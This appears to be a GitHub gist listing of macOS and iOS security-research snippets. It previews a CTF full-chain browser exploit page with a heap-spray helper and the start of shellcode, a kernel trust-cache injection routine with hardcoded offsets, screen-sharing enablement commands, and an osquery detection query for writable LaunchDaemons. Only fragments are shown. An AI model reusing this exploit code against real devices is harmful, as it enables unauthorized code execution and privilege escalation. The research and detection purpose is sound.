This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// main.m | |
// EndpointSecurityDemo | |
// | |
// Created by Omar Ikram on 17/06/2019 - macOS Catalina 10.15 Beta 1 (19A471t) | |
// Updated by Omar Ikram on 15/08/2019 - macOS Catalina 10.15 Beta 5 (19A526h) | |
// Updated by Omar Ikram on 01/12/2019 - macOS Catalina 10.15 (19A583) | |
// Updated by Omar Ikram on 31/01/2021 - macOS Big Sur 11.1 (20C69) | |
// Updated by Omar Ikram on 07/05/2021 - macOS Big Sur 11.3.1 (20E241) | |
// Updated by Omar Ikram on 04/07/2021 - macOS Monterey 12 Beta 2 (21A5268h) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<title>google-ctf fullchain</title> | |
</head> | |
<body> | |
<h1>HK</h1> | |
<pre id='log'></pre> | |
</body> | |
<script src='./mojo/mojo_bindings.js'></script> | |
<script src="./mojo/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
function gc() { | |
for (var i = 0; i < 0x80000; ++i) { | |
var a = new ArrayBuffer(); | |
} | |
} | |
let shellcode = [ | |
// Move x18 to x28 (TEB) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/zsh | |
: ' | |
You need a personal access token for GitHub to avoid hitting the rate limit. Refer to the docs: | |
https://docs.github.com/en/rest/guides/getting-started-with-the-rest-api | |
https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token | |
' | |
APPLE_OSS_DIR="all_apple_oss_archives" | |
APPLE_OSS_REPO_FILE="all_apple_oss_repo_names.txt" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <IOKit/IOKitLib.h> | |
#include <mach/mach.h> | |
#include <stdio.h> | |
#include <stdint.h> | |
#include <stdlib.h> | |
#include <ctype.h> | |
void hexdump(void *ptr, int buflen) { | |
unsigned char *buf = (unsigned char*)ptr; | |
int i, j; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ ssh <user>@<mac-without-screen> | |
$ sudo defaults write /var/db/launchd.db/com.apple.launchd/overrides.plist com.apple.screensharing -dict Disabled -bool false | |
$ sudo launchctl load /System/Library/LaunchDaemons/com.apple.screensharing.plist | |
/System/Library/LaunchDaemons/com.apple.screensharing.plist: Service is disabled | |
$ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.screensharing.plist |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <dlfcn.h> | |
#include <stdio.h> | |
#include <unistd.h> | |
#include <sys/types.h> | |
#include <mach/mach.h> | |
#include <mach/error.h> | |
#include <errno.h> | |
#include <stdlib.h> | |
#include <sys/sysctl.h> | |
#include <sys/mman.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
This query looks at the programs referenced by LaunchDaemons in order to find ones which are writable by non-root users. | |
Note that it is hard to tell what will actually be executed by launchd in some cases, and may return false positives. Reccomended to be used with process monitoring as well. | |
*/ | |
select | |
distinct p.launchd_path as launchd_path, | |
p.launchd_label as launchd_label, | |
f.path, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
void inject_trusts(int pathc, const char *paths[]) | |
{ | |
printf("[+] injecting into trust cache...\n"); | |
extern uint64_t g_kern_base; | |
static uint64_t tc = 0; | |
if (tc == 0) { | |
// loaded_trust_caches: 0xFFFFFFF008F702C8 | |
tc = g_kern_base + (0xFFFFFFF008F702C8 - 0xFFFFFFF007004000); |
NewerOlder